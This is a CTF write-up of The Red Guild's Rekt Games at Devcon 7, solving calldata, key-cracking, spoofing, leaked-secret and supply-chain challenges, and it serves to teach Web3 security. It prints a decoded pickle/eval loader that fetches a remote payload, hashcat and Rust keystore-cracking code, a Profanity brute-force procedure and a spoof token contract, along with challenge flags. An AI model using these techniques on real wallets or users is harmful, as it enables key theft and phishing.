How I Solved The Rekt Games CTF by The Red Guild at Devcon 7 SEA

Antonio Rodríguez-Ynyesto

--

This past November I was lucky enough to attend Devcon (huge shoutout to the Ethereum Foundation’s Scholars Program for making it possible) and one of the most interesting things I did during those days was participating in The Red Guild’s CTF (catch the flag), The Rekt Games. Cybersecurity is Web3’s hottest topic, no matter when you’re reading this, and this game tackled many different aspects of it in a very entertaining and insighful way, so I thought breaking it down could make for an enjoyable read.

The challenge consisted of 19 levels, divided into five different categories: calldata, scavenger, crypto, spoofing, secrets and supply chain. However we’ll skip the scavenger category on this writeup, since it involved stuff like attending The Red Guild’s workshops or going to their booth to get the flags. Below I’ll walk you through the remaining 15 levels, listed in the table of contents, so without further ado, let’s get started!

Table of Contents

· Calldata
Calldata Detective 🕵️ (10 points)
Calldata fish 🐟 (75 points)
Calldata Optimizoooor 🧙‍♂️ (100 points)
·
Crypto
The Intern’s Vanity 🔑 (30 points)
The Intern’s Profanity 🔑 (300 points)
The Intern’s KeyStore 🔑 (50 points)
·
Spoofing
Red Spoofing 🔀 (50 points)
Red Spoofing 2 🔀 (100 points)
Red Spoofing 3 🔀 (200 points)
·
Secrets
Find the leak! — Part I 🙊 (50 points)
Find the leak! — Part II 🙊 (50 points)
Find the leak! — Part III 🙈 (50 points)
Find the leak! — Part IV 🤐 (75 points)
Find the leak! — Container 📂 (50 points)
·
Supply Chain
Worktest 💻 (100 points)
·
Final Words & Acknowledgements

Calldata

This category’s name is quite self-explanatory, its levels involved some analysis of the calldata of transactions to find the flag.

Calldata Detective 🕵️ (10 points)

As a member of a prominent DAO’s multisig, you’ve just received an urgent email from a fellow council member:

“Hey! We need your signature ASAP for this routine maintenance transaction. Nothing major, just some standard updates. Could you sign it right away?”

The transaction’s calldata looks innocent enough: 0xf2fde38b000000000000000000000000098b716b8aaf21512996dc57eb0615e2383e2f96

But something feels off about the urgency. Before blindly signing, maybe you should decode what this transaction actually does…

Task: Decode the transaction’s calldata to reveal its true purpose. What exactly are you being asked to sign?

Flag: A human-readable description of the function call, like: transfer(0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045,1000)

Walkthrough

As anyone with a basic understanding of the EVM knows, the first four bytes of the calldata are the selector of the function called by the transaction. Therefore, simply go to the Ethereum Signature Database and search “0xf2fde38b”. This search will return the following:

Thus, what we would be really doing by signing the transaction is calling transferOwnership(0x098b716b8aaf21512996dc57eb0615e2383e2f96), transferring ownership of our contract to the attacker’s address!

Think this is not likely to happen to a real protocol? Think twice, because it is basically what happened on the Radiant exploit a few months ago, as Gianfranco Bazzani eloquently explained in this article:

Calldata fish 🐟 (75 points)

During the investigation of a phishing campaign, someone on X shared this calldata of an Ethereum transaction. They lost the tx hash, so it’s hard to know more details. All we know is that it was flagged as an approval of a stablecoin by a monitoring system.

0x8fcbaf0c000000000000000000000000b4d44b2217477320c706ee4509a40b44e54bab850000000000000000000000000629b1048298ae9deff0f4100a31967fb3f989620000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006907dbf70000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000001b99a694ae810fa810c9c6fc8fa039a3e021244e3c05909d674a400d82a15c0eb13a57e18015ba577966d250fa7f3ac45742a22df9e4c6bd914016b3470f12dcf6

Task: Analyze the calldata to find out the token address and how many tokens the phishing victim could lose.

Flag: The token address and how many tokens the phishing victim could lose, separated by a -.

Walkthrough

This next challenge begs again a visit to the Signature Database, which tells us the call is to a permit function:

The prompt says this is some stablecoin’s approval, so looking at the code of some of the main stablecoin’s in the market we wind up finding out that this function belongs to MakerDAO’s DAI token:

    // --- Approve by signature ---
function permit(address holder, address spender, uint256 nonce, uint256 expiry,
bool allowed, uint8 v, bytes32 r, bytes32 s) external
{
bytes32 digest =
keccak256(abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH,
holder,
spender,
nonce,
expiry,
allowed))
));

require(holder != address(0), "Dai/invalid-address-0");
require(holder == ecrecover(digest, v, r, s), "Dai/invalid-permit");
require(expiry == 0 || now <= expiry, "Dai/permit-expired");
require(nonce == nonces[holder]++, "Dai/invalid-nonce");
uint wad = allowed ? uint(-1) : 0;
allowance[holder][spender] = wad;
emit Approval(holder, spender, wad);
}

So we have already found the first half of the flag, DAI’s address on Ethereum mainnet: 0x6b175474e89094c44da98b954eedeac495271d0f.

For the second half, we need to analyse the code of the function above, which is enables the infinite approval of DAI for the spender. Thus, the number we’re looking for is the maximum uint256, that is, 2²⁵⁶ — 1, or 115792089237316195423570985008687907853269984665640564039457584007913129639935.

Thus, thee complete flag would be: 0x6b175474e89094c44da98b954eedeac495271d0f-115792089237316195423570985008687907853269984665640564039457584007913129639935

Calldata Optimizoooor 🧙‍♂️ (100 points)

One of our ex-employees left behind a peculiar smart contract with some… interesting constraints. The contract needs to be initialized, but there’s a catch — the initialization function has some tricky requirements:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.27;
contract Demo {
bool public initialized;

function initialize(uint256[] calldata prev, uint256[] memory next) external {
require(prev.length == next.length, "inaccurate length");
require(msg.data.length < 101, "msg too long");

initialized = true;
}
}

We need to set initialized to true.

Task: Craft the perfect calldata that satisfies all requirements to initialize this contract.

Flag: The complete calldata starting with a function selector, such as: 0xbb4b2443...

Walkthrough

To solve this we will use HashEx’s ABI Encoder. We can see that the initialize function requires that the calldata be 100 bytes or shorter. In order to make the call as simple as possible, we will use empty arrays as inputs.

However, this returns a 132-byte string, as shown in the screenshot above, so we’ll need to find a way to shorten it.

To achieve the target calldata and catch this level’s flag we need to understand how dynamic arrays are ABI-encoded. Let’s analyse the byte string we got from the encoder:

  • Function Selector (4 bytes): As explained above, the first four bytes of the calldata represent the function selector, in this case, 0xbb4b2443.
  • Offset for the first array (32 bytes): the following 32 bytes (0…..040) specify the offset for the first argument of the function. Since the length of the dynamic array is unknown beforehand, the data passed can’t just be placed next to the selector; instead, the number in the first position of the calldata specifies the offset, that is, where to find the data for the first argument: 0x40 equals 64, i. e., the offset for the array’s data is 64 bytes. It is also worth noting that in this case the array’s data is a string of zeros, because it is an empty array, but if the array had elements, at the position indicated by the offset we would find the length of the array, followed by each element.
  • Offset for the second array (32 bytes): The next 32 bytes (0……60) similarly specify the offset for the second dynamic array.
  • Array lengths (32 bytes each): For each dynamic array, a 32-byte block specifies its length. In the case of empty arrays, this value is 0x0.
  • Array data (optional): If the arrays were non-empty, the data (one 32-byte block for each uint256 element) of each array would follow its length.

As we can see, in the encoding provided by the online ABI encoder, there are two different offsets (0x40 and 0x60) for the two arrays, and each one points to its respective metadata. Therefore, to achieve this level’s flag we need to optimize the calldata by removing the redundant 32-byte zero length and setting both offsets to 0x40, to point to the remaining one: 0xbb4b2443000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000

Crypto

This next category revolved around cryptography. These were, to me, the most challenging levels of the whole CTF, with a very steep increase in the difficulty from the first level to the second and third.

The Intern’s Vanity 🔑 (30 points)

A new intern has joined The Red Guild’s team.

Skipping the usual security onboarding, management needed a quick win and assigned the intern the first task: to generate a vanity wallet address starting with 0xc0de. This wallet will be used in the future to deploy the Guild's on-chain vault.

The intern delivered surprisingly quickly, and the deployment went ahead. But something feels off about how fast they accomplished this seemingly complex task…

Files: Vanity wallet generation script

Your task: Is the intern’s wallet generation script safe? If you can uncover a security vulnerability and get the Guild wallet’s private key, you’ll earn the respect of the Guild.

Flag: The wallet’s private key. For example:

0x9bf1d24dc556910168f9a3c54db8d62deebff71820ee009531a51702700a27d0

Walkthrough

The first level of this category was simple enough. The script with which the intern generated the vanity address is linked in the level’s prompt and it includes in the comments the date on which it was written (which is the same day the Bitcoin whitepaper was published 😋). Simply specifying this date in the Date() function of the script and running it returns the flag!

const { numberToHex } = require('viem')
const { privateKeyToAccount } = require('viem/accounts')

// script to create a new account starting with 0xc0de
// @authot RedGuildIntern
// @date 2008-10-31T00:00:00.000Z
const start = Math.round(new Date('2008-10-31T00:00:00.000Z').getTime() / 1000);

let i = start;
while(1) {
if(i % 1000000 === 0) {
console.log(`i: ${i}`);
}
let priv = numberToHex(i, { size: 32 })
const account = privateKeyToAccount(priv);
let w = account;
if (w.address.toLowerCase().startsWith('0xc0de')) {
console.log(`Found it! ${account.address}`);
console.log(`Private key: ${priv}`);
break;
}
i++;
}
node vanity-wallet
Found it! 0xc0dE5709cEdf8AfadEEDB41cfdCD52B4026Dad01
Private key: 0x00000000000000000000000000000000000000000000000000000000490b69ce

Therefore, this level’s flag was: 0x00000000000000000000000000000000000000000000000000000000490b69ce

The Intern’s Profanity 🔑 (300 points)

After their initial security mishap, our overzealous intern was determined to prove themselves. “This time, I’ll be more cautious and use tools that are popular and widely adopted,” they declared confidently.

Armed with Profanity — a popular vanity address generator — they successfully created a wallet address starting with 0xbadc0dE0. Feeling particularly proud, they even sent a taunting message on-chain:

“This time nobody will hack me”

The generated address is: 0xbadc0dE0bBF4758160bC9ca795B573A076fA484D

Your task: Prove that the intern’s newfound confidence in popular tools might be misplaced. Find the wallet’s private key to claim your flag.

Flag: The wallet’s private key. For example: 0x8a96ecb7fcd40b454489398685c298a83251a93dbfd364571b9265ec2be39d0e

Walkthrough

As explained above, Profanity used to be a popular Vanity address generator, no longer in use because the addresses generated with it turned out to be anything but safe. Their vulnerability stemmed from the fact that the tool used a 32-bit vector to seed 256-bit private keys, this made achieving a vanity address a lot simpler, but of course also reduced the search space for a brute force attack dramatically, from 2²⁵⁶ to 2³² private keys. Therefore, the task to get done for this level was performing a brute-force attack on the intern’s vanity address. Let’s see how I did it.

One of the key takeaways from this level for me was to always keep in mind not reinventing the wheel. After several failed attempts to solve it, I found this tool that seemed to be exactly what I needed.

However, the Profanity Brute Force tool demands a high-performance GPU, which my laptop does not have. First, I tried to work around this issue using a Google Colab environment, in which one can leverage an Nvidia Tesla T4 GPU for free. Unfortunately, the task took longer to complete than the environment could be used for free, so there seemed to be no option but to rent a remote GPU on Vast AI.

Once I had created my account and added credit (the minimum of 5$ was enough), I had to pick a GPU. To do this, I filtered by TFlops/$/Hr to get as much bang for my buck as possible, and picked the top hit, which at the time was a 4x RTX 3080 Ti set.

But before actually creating a session with this machine I needed to pick the right template. I tried both the “My Ubuntu” and “NVIDIA CUDA (Ubuntu)” templates with different configurations, however, these didn’t have the necessary drivers and packages installed and the installations errored constantly.

After struggling with these issues for a while, it ocurrred to me that an image with Hashcat preinstalled could perhaps have the drivers I needed (since Hashcat also uses GPU acceleration for recovering passwords) so I gave that one a go.

Spoiler: that worked! I had already gone through the process in Colab (though the execution halted when time was up) using a Jupyter Notebook, so doing that again seemed like the best option (although the template could be used through an SSH terminal as well, suit yourself if you’re following through). See below the steps I followed:

First I checked that OpenCL was up and running and recognised the GPUs I had rented:

!clinfo

Everything was good to go (unlike in the previous templates), so the next step was to install a couple of packages that were missing:

!sudo apt install -y opencl-headers ocl-icd-opencl-dev

Now the repo could be cloned an compiled:

!git clone https://github.com/rebryk/profanity-brute-force.git
%cd profanity-brute-force
!make

The next step was to precompute all of the 2³² public keys the Profanity tool could generate, creating a hash-table with said public keys as keys, and their private keys as values:

!mkdir -p cache
!./profanity.x64 -h

As you can see below, with the GPUs I rented this took about 50 minutes to compute.

While that computation was running, I retrieved the intern’s taunting message and with the raw transaction data recovered the public key:

!pip install -r requirements.txt
!python3 pubkey.py -t 0x02f88e83aa36a780843b9aca00853227f4d2e482548a94badc0de0bbf4758160bc9ca795b573a076fa484d80a0546869732074696d65206e6f626f64792077696c6c206861636b206d65000000c001a06b2aec6082d83b9839da7fd2d4555d52c95d2d06b5c23ff2f960c8a8cac110e3a02457e36ad57bc05f695622bf816ba3c74f537e69c5e3ac03d27f83f5593197f4
Pubkey: 0x69e1f5695c2da3d4daaeab459b69d0fd1327df43036f98faceccb7715fb9a7b59694d15006d964a34575a85c777f5cca71f7272769a5ba157e940d7948365c52

Finally, once the hash-table was ready, it was time to run the search for the private key that was this level’s flag:

!./profanity.x64 --reverse --steps 20000 --cache --target 0x69e1f5695c2da3d4daaeab459b69d0fd1327df43036f98faceccb7715fb9a7b59694d15006d964a34575a85c777f5cca71f7272769a5ba157e940d7948365c52

This search lasted just about 4 minutes…

After which I had finally caught the flag: 0xf907afbbfed29105e407a27412eb10847cd7e54da85e2332b62dd3ecfb7bb547

The Intern’s KeyStore 🔑 (50 points)

Third time’s the charm? Not for our intern. After multiple security blunders, The Red Guild finally intervened, providing two secure private keys for their multisig wallet.

Our security-conscious (but still green) intern decided to add an “extra layer of protection” by encrypting the keys in keystore format.

However, in a classic rookie move, he accidentally leaked the keystores folder online.

“No worries,” said, “it’s encrypted after all!”

Files: The leaked keystores: guild-intern-keystore

Task: Crack the keystores encryption and retrieve both private keys. Show the intern why encryption is only as strong as its weakest link.

Flag: The private keys separated with a -.

For example: 0x3d2b5f39a5a425110a4ac8333794b4eb9db5d80b4cb652fb03b9f57cd96f438a-0xcbe2584036801cfd0d5664c466d85b9af865dbd8d9f685deff5ad1cf70eb83c7

Walkthrough

For this level we have yet again to find private keys. This time, however, since keystores are generated taking a private key and a password as inputs, all we need to do is find the passwords the intern used to create the keystores that got leaked.

The task at hand is password recovery for both keystores. Of course, if the passwords were strong enough this would be infeasible and this level would be moot, so our best bet is that they both be among the 14,341,564 passwords included in rockyou.txt, a wordlist compiled after the 2009 RockYou data breach, in which the passwords of over 32 million users were leaked.

Considering this, using the aforementioned Hashcat — an ad-hoc tool for password recovery — seemed like the sensible thing to do. In order to crack the keystore’s password, using Hashcat’s 15700 mode was in order, and for this the keystores parameters had to be arranged into the command as follows: $ethereum$s*<n>*<r>*<p>*<salt>*<ciphertext>*<mac>. Therefore, cracking the first keystore’s password could be done easily by running:

hashcat.exe -m15700 $ethereum$s*8192*8*1*ad1696a0d6c32aa655b96095ac52a776b9467c8537ede8f87dc4cd839aef954d*20ddf02bce09ef123e42e2722146dc48b329cc3b01695501426e1b3fde09a09d*3154bc01fd590f1d29478e90b3e1b51ce6e4595fe793ac18da2eb00aba887f24 ../rockyou.txt --status --status-timer=5 -w3

As shown below, this got us that the password was 123456 in about 22 seconds.

To get the private key a simple Python script using web3.py would have done the trick, but there was a second password to be found first.

To crack the second keystore following this same approach, I run the following command, switching from w3 to w4 for maximum speed, considering that this keystore has an N parameter (iterations count) 16 times higher than the first one:

hashcat.exe -m15700 $ethereum$s*131072*8*1*87be70e8c657da7940f42b667a2fb525dbf589aba463222c31d4765a5f9d0bfc*71276872b09ffc3f2385634f89374cc0b3faa187e1c429811ec982ee6582f526*407156eae228da2e4b18acecfe77d831e743540e6ab65576e91fe103a79c7328 ../rockyou.txt --status --status-timer=5 -w4

However, this time Hashcat predicted a computation time of up to 4 months to crack the password…

In light of this result, it became obvious that using a general purpose tool for password recovery simply wouldn’t cut it, and we’d have to make our own. After considering some options, a Rust script using the eth_keystore crate seemed like the most reasonable one. You can see below the final script I used, in which I aimed for some multi-threading parallelization with Crayon when processing passwords, since scrypt KDF computations are barely parallelizable.

use eth_keystore::decrypt_key;
use rayon::prelude::*;
use std::{
fs::File,
io::{BufReader, Read},
sync::atomic::{AtomicBool, Ordering},
time::Instant,
};

fn main() {
// Paths to the keystore file and rockyou.txt
let keystore_path = "keystores/redguild2.json";
let rockyou_path = "rockyou.txt";

// Start timer
let start_time = Instant::now();

// Read the rockyou.txt file as raw bytes
let rockyou_file = File::open(rockyou_path).expect("Failed to open rockyou.txt");
let mut reader = BufReader::new(rockyou_file);
let mut buffer = Vec::new();
reader.read_to_end(&mut buffer).expect("Failed to read rockyou.txt");

// Split the raw bytes by newline
let passwords: Vec<&[u8]> = buffer.split(|&byte| byte == b'\n').collect();

// Atomic flag to stop threads when the password is found
let found = AtomicBool::new(false);

// Brute-force in parallel
passwords.par_iter().for_each(|password| {
if found.load(Ordering::Relaxed) {
return; // Skip further work if the password is already found
}

// Attempt to decrypt the keystore
if let Ok(private_key) = decrypt_key(keystore_path, password) {
println!(
"Password found: {}\nPrivate Key: 0x{}",
String::from_utf8_lossy(password),
hex::encode(private_key)
);
found.store(true, Ordering::Relaxed);
}
});

// End timer
let duration = start_time.elapsed();

if found.load(Ordering::Relaxed) {
println!("Password found in {:.2?}", duration);
} else {
println!("Password not found in rockyou.txt. Time elapsed: {:.2?}", duration);
}
}

To check that it worked, I first run it on the first keystore:

As you can see, running on release mode, it retrieved the password and private key in under half a second, which was 44x faster than Hashcat! On the second keystore, however, it took considerably longer, which is only natural, considering the password was found in line 26779 of the rockyou.txt file instead of the first one, and the number of iterations for the key derivation function were 16 times greater.

Still, 5 hours and 7 minutes is a lot better than 4 months, and you can always go for lunch with the in-laws and take a nap in the meantime like I did 😉.

Flag for this level: 0xef17fd03cb2fbf6c0753441218f8558b58eda5e352b0b62e5f7fd161b1437b07–0x180bfd2a83daabb09925a214fb750f02745af828a28b795b24e81165b2f1fb99

Spoofing

Spoofing is a very well known attack and lots of people have fallen victim to it. Read more about the next three levels of the CTF below!

Red Spoofing 🔀 (50 points)

These days scams and phishing attacks are becoming increasingly popular. So it’s fundamental for security researchers to understand all the evil techniques attackers are using to do it.

In this case, a client you work for doesn’t believe scams are so dangerous. So he’s asked you to see a practical example of how transaction spoofing works.

Task: The client transferred a test token to another account. You must generate an address that starts and ends with 3 characters of the token receiver. Here’s the transaction: holesky-0x28e46dc92cd9a2df7776138d4a722ed474309569181e25465d2005a7090097a2

For example if the receiver is 0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045, the first 3 and last 3 characters would be d8d and 045.

Flag: For this challenge, you must generate the flag by following the instructions on this page: https://therektgames-containers.vercel.app/redspoofing

Walkthrough

This time we need to find a private key whose address looks like this: 0x7d2…023. To do this, a simple Vanity address generator will do the trick.

After some computation time we get a result:

And introducing the private key into the tool provided to generate the flag was all that was left to do.

Red Spoofing 2 🔀 (100 points)

Having successfully created a spoofed address that resembles the target receiver in the previous challenge, it’s time to move forward and complete the PoC.

In a real-world scenario, attackers may conduct a zero-token transfer to mimic a legitimate transaction and increase their credibility in the eyes of unsuspecting users. By copying all transaction details, except for the recipient address, attackers can simulate a seemingly authentic token transfer.

Task: Now that you’ve generated a spoofed address, it’s time to initiate the next step in this PoC of transaction spoofing.

Perform a 0-value token transfer in the tesnet. It should resemble the token transfer in the same transaction we saw in the first part: holesky-0x28e46dc92cd9a2df7776138d4a722ed474309569181e25465d2005a7090097a2

The main difference will be the recipient address, which should now be an spoofed address (at least first and last 3 characters equal to the receiver), and the amount that should be 0.

Note: for this challenge you’ll first need to get some Holesky ETH to pay for the gas of your transaction.

Flag: Once you successfully executed the 0-value token transfer in Holesky testnet, follow the instructions on this page to retrieve the flag: https://therektgames-containers.vercel.app/redspoofing-2

Walkthrough

Having already found the private key of an address that looks similar to “the client’s”, we’re now asked to create a transaction that will appear on Etherscan as sent from their address, so that they may copy the “to” address in the future to send funds to a “known” address, but be indeed sending them to ours.

So how could we do this, if we don’t have the client’s private key? This time there was be no brute-forcing involved, thankfully — a simple transferFrom call on the SPOOF token’s contract would do, and considering we’re making a transfer of zero tokens, no approval is needed.

So bottom line: going to Etherscan, making the call and introducing the transaction hash into the input box provided to generate the flag was all we had to do to solve this level.

Red Spoofing 3 🔀 (200 points)

Despite your demo in the previous challenge, the client remains unconvinced that their token could be susceptible to a spoofing attack.

They argue that any attempt at a zero-value token transfer would simply revert on their soon-to-be-deployed token, due to on-chain validations. So it’d be impossible for attackers to mimic a legitimate transaction.

However, there’s ONE detail the client might be overlooking: an attacker could create a different contract, with the same symbol, name, and some events, replicating the appearance of an authentic transfer with the same amount on block explorers!

Task: Remember that the original token transfer is: holesky-0x28e46dc92cd9a2df7776138d4a722ed474309569181e25465d2005a7090097a2

Produce a transaction that executes your contract, which must mimic the token metadata (name & symbol), transferred amount and event of the transfer of the original token.

Note: for this challenge you’ll need Holesky ETH to pay for the gas of your transaction.

Flag: Once you’ve successfully executed the spoof token transfer in Holesky testnet, follow the instructions on this page to retrieve the flag: https://therektgames-containers.vercel.app/redspoofing-3

Walkthrough

To solve this level we simply needed to create an ERC-20 contract that doesn’t check allowance when transferFrom is called, for example:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";

contract StableSpoof is ERC20, Ownable {

constructor() ERC20("StableSpoof", "SPOOF") Ownable(msg.sender) {}

function mint(address to) external onlyOwner {
_mint(to, 1 ether);
}

function transferFrom(address from, address to, uint256 value) public override returns (bool) {
// address spender = _msgSender();
// _spendAllowance(from, spender, value);
_transfer(from, to, value);
return true;
}
}

So to solve this level all that had to be done was deploy the token, mint one to the victim’s address and call the overridden transferFrom function to have it sent to the spoofed address!

Secrets

To be fully honest, this category was the least fun for me. As you’ll see, it had to do with retrieving leaked secrets and took some instinct and a lot of patience to complete😅.

Find the leak! — Part I 🙊 (50 points)

We have been hired by the Ethereum Foundation to do an assessment on what appears to be a leak inside some of their repos.

They suspect some devs mistakenly submitted some sensitive data into the geth’s repository (go-ethereum), but couldn’t figure out where, and if it is an isolated case or not.

We have forked it under theredguild/goat-ethereum, so go and take a look, see what you can find.

So far, they identified a mnemonic / seed phrase consisting of 12 words. Can you help them find it?

Walkthrough

The first level of this section was the most straightforward. Leaked .env files are a classic and this repo had one in plain sight. Its content was:

PK=c2VjcmV0IGFwZSBmb3Jnb3Qgc2VlZCBwaHJhc2Ugbm93IHdhbGxldCByZWt0IGhhY2tlcnMgbGF1Z2ggd2ViMyBzZWN1cml0eSBmYWlscw==

This is obviously not plaintext but Base64, so it had to be decoded. This was easily done with an online tool that returned the “seed phrase” for us: secret ape forgot seed phrase now wallet rekt hackers laugh web3 security fails.

As you can see, not exactly a BIP-39 mnemonic 😂, but it was the flag we were looking for!

Find the leak! — Part II 🙊 (50 points)

We have received an update, saying they confirm a private key has leaked. The only information we have is that it has been hardcoded, but devs says it safe because it is not in plaintext. Will you be able to find it?

Walkthrough

This second challenge took a lot more patience than the first one. After a lot of looking around the repo, I thought the crypto directory would be a good candidate were the CTF creators may have hardcoded a private key.

I finally found it in the signify.go file, where the SignFile function is defined, which reads the contents of an input file, signs it with a provided private key, and writes the signature to an output file.

In the original file of the go-ethereum repo, the parsePrivateKey function looks like this:

func parsePrivateKey(key string) (k ed25519.PrivateKey, header []byte, keyNum []byte, err error) {
keydata, err := base64.StdEncoding.DecodeString(key)
if err != nil {
return nil, nil, nil, err
}
if len(keydata) != 104 {
return nil, nil, nil, errInvalidKeyLength
}
if string(keydata[:2]) != "Ed" {
return nil, nil, nil, errInvalidKeyHeader
}
return keydata[40:], keydata[:2], keydata[32:40], nil
}

However, here the following string ispassed to DecodeString instead of the key variable: MHg3YTBmMjkzYjBjYzNlMTFiM2IzZGM5NTUxNzhmM2UzOTAxNDliYzFiN2NlZDAxYThmYjE0Nzg0YWNkZjkyNzlk

Again, decoding from Base64 to ASCII gives us the flag for this level: 0x7a0f293b0cc3e11b3b3dc955178f3e390149bc1b7ced01a8fb14784acdf9279d

Find the leak! — Part III 🙈 (50 points)

Yet another leak has been confirmed, by another developer. Somewhere in the code he claims to have submitted an API key of some sort, but can’t remember where.

Will you be able to find it for him before it is too late?

Walkthrough

This one was for me the toughest of this category. Go-ethereum being such a large repo, any grep searches just returned way too many results (or nothing if more refined) and at first I was clueless about where the “API key” could be.

After much manual review, I decided to inspect the commit history, trying to find the first commit co-authored by matta @ theredguild.org, co-creator of this CTF, and start from there.

Tweaking the URL of the commits page (I soon realised that clicking “Next” could take me all day) I finally found the first one here, a commit from February of 2015. I opened it and saw that a suspicious string had been added as “ApiNodeStatsKey”.

And of course, this was the flag. As you can see, there wasn’t much of a method to solve this one, just patience and a bit of luck. Also, the config module of Geth handles no API keys, so finding it through a similar reasoning as in the previous level would have been impossible 😅.

Find the leak! — Part IV 🤐 (75 points)

Current leak’s discussion reached an OG developer of ethereum’s ears, so he hopped into the conversation and admitted that in the past he might’ve submitted some sensitive information while trying to test something in the cloud.

He’s pretty sure he deleted it, so they’re probably safe? What do you think?

Walkthrough

This fourth part of the challenge, despite being worth more points, was a lot more straigthforward for me. The prompt says the leak happened in the past, so we wouldn’t find it going through the current files. However, using Gitleaks we can find past leaks as well as present ones.

With this tool, solving this level was just a matter of running the command to generate a report:

gitleaks detect --source=goat-ethereum/ --report-path=gitleaks-report.json --report-format=json

As you can see below, according to the second entry of the report “Vitalik himself” leaked an AWS API key this past summer 😜.

Thus, this level’s flag was AKIAIOSFODNN7D3YBNEX.

Find the leak! — Container 📂 (50 points)

An apprentice recently admitted that while creating a test image, they embedded a sensitive request in a command only during build-time, thinking it would go unnoticed.

Can you extract that secret and show the intern how detectable their oversight was?

docker pull mattaereal/therektgames-leak-1

Walkthrough

Since the sensitive info was leaked during build time, our best bet to find the leak would be to use the docker history command, which provides a breakdown of how an image was built, layer by layer — each layer corresponding to a step in the Dockerfile.

This way, running the following command:

docker history -H mattaereal/therektgames-leak-1 --no-trunc

We got the output shown below:

The --no-trunc flag was vital, because without it the content column got cut off and the following line, which contained this level’s flag, wasn’t visible: SUPER_SENSITIVE_INFORMATION_THAT_MAY_BE_KEY=super_sensitive_key_9b2c3d4f5g6h7j8k9l0m1n2o3p4q5r6s

And that’s how we got the flag and a very important lesson: never include any sensitive information in a Dockerfile, we just saw how easily accesible it is!

Supply Chain

This last section of the CTF only contained one level, let’s get down to it!

Worktest 💻 (100 points)

More and more scammers are impersonating HR talent hunters in LinkedIn and other platforms to target Web3 developers. They usually share repositories with candidates, who’re exploited as soon as they run the backdoored code.

You’re part of a threat intel team that got access to a repository being used as part of a phishing campaign. What’s wrong with it?

Task: Investigate the worktest codebase in depth to find the flag.

Flag: The flag is in format flag{...}

Walkthrough

As a Web3 dev looking for work in the space I really enjoyed this level, because I get contacted by scammers nearly every week, so let’s see how I solved it!

In a real-world scenario, what anyone should do would be to ignore, block and report the scammer, and not even look at the repo, unless for learning purposes; but by no means would I clone anything and neither should you.

Just looking at the codebase on GitHub we can see that it is a simple Foundry project. However, there’s something odd in it: the script directory contains a Python script, instead of a Solidity script, so this was clearly what we needed to look into. At a quick glance we could see the following sketchy lines:

priv_keys = PrivateKeys(
'6576616c2822657865632827696d706f72742075726c6c69622e726571756573',
'742729206f722075726c6c69622e726571756573742e75726c72657472696576',
'65282768747470733a2f2f64726976652e676f6f676c652e636f6d2f75633f65',
'78706f72743d646f776e6c6f61642669643d31724466626c4b30685364787142',
'67637979696d4e7668534971634f7733306e77272c27702e7064662729222900'
)

These are clearly not real private keys: the chances of having five hexadecimal private keys with such few letters in them are way too low for these to be real, nor should the be hardcoded, so I thought I’d try to decode them with a hex to ASCII converter.

Introducing the comma separated strings, the converter returned this string, which is, unsurprisingly, Python code:

eval("exec('import urllib.request') or urllib.request.urlretrieve('https://drive.google.com/uc?export=download&id=1rDfblK0hSdxqBgcyyimNvhSIqcOw30nw','p.pdf')")

Let’s break the expression down to see what it does:

  • eval(): This is a built-in Python function that evaluates a string as a Python expression.
  • exec(): Another Python built-in function that executes a dynamically created Python code block, i.e., a string containing Python code.
  • import urllib.request: This imports the urllib.request module, which is used for opening and retrieving URLs in Python.
  • urllib.request.urlretrieve(): A method in the urllib.request module that downloads a file from the given URL and saves it locally.

So as we can see, we’ve basically run into obfuscated code which, when executed, downloads a file (the malware the scammer is trying to slip us). If you’re wondering how exactly that code gets executed, that is basically what the following few lines of the script do:

priv = pickle.dumps(priv_keys)

try:
pickle.loads(priv)
except Exception as error:
pass

Pickle is a Python module used for serializing and deserializing Python objects. When pickle.dumps is called, the __reduce__ method of the PrivateKeys class is called, to prepare the serialized object:

    def __reduce__(self):
return (eval, (self.key_1 + self.key_2 + self.key_3 + self.key_4 + self.key_5[:31],))

The __reduce__ method returns a serialized callable — typically a function — and a tuple containing the arguments for execution. In this case, the callable is an eval function and the tuple is the string containing the malicious Python code shown above, which gets decoded to ASCII in the PrivateKeys class’ __init__ function. When pickle.loads is called, the object is deserialized and the callable is called with the arguments in the tuple, making this script a way to run malicious code that is hidden in plain sight.

Anyway, after this quick detour to understand how exactly the attack would have worked, the next step was to go to the Google Drive URL in the string in our web browser. This automatically prompted a download of a file called pwned.pdf. Considering this is just a game, I downloaded and opened it. Here’s what it looked like:

Following the speech bubble’s hint, I inspected the PDF further and going into File > Properties > Description found the flag (flag{w31rdw0rkt3st}) under the Keywords field.

Final Words & Acknowledgements

And that’s a wrap! Those were all the 15 levels of the CTF explained in as much detail as I thought necessary for anyone with some experience in Web3 to get the gist of them.

I would like to thank Tincho, Matta and any other contributors the creation of such a great challenge may have had. I really enjoyed playing!

Also, full disclaimer, I didn’t get to finish all levels during Devcon, because there were just too many workshops, talks, etc. to attend. Some of the challenges I had left I completed when I got back home (you may have picked that up from some of the dates in the screenshots or links I included in this writeup), but I still made it in the top 10 of the leaderboard!

In closing, I’d like to express my heartfelt gratitude to the Ethereum Foundation for making my trip to Devcon possible. This writeup offers just a tiny glimpse of the immense value I gained from the conference — it was truly an unforgettable experience!

--

--

No responses yet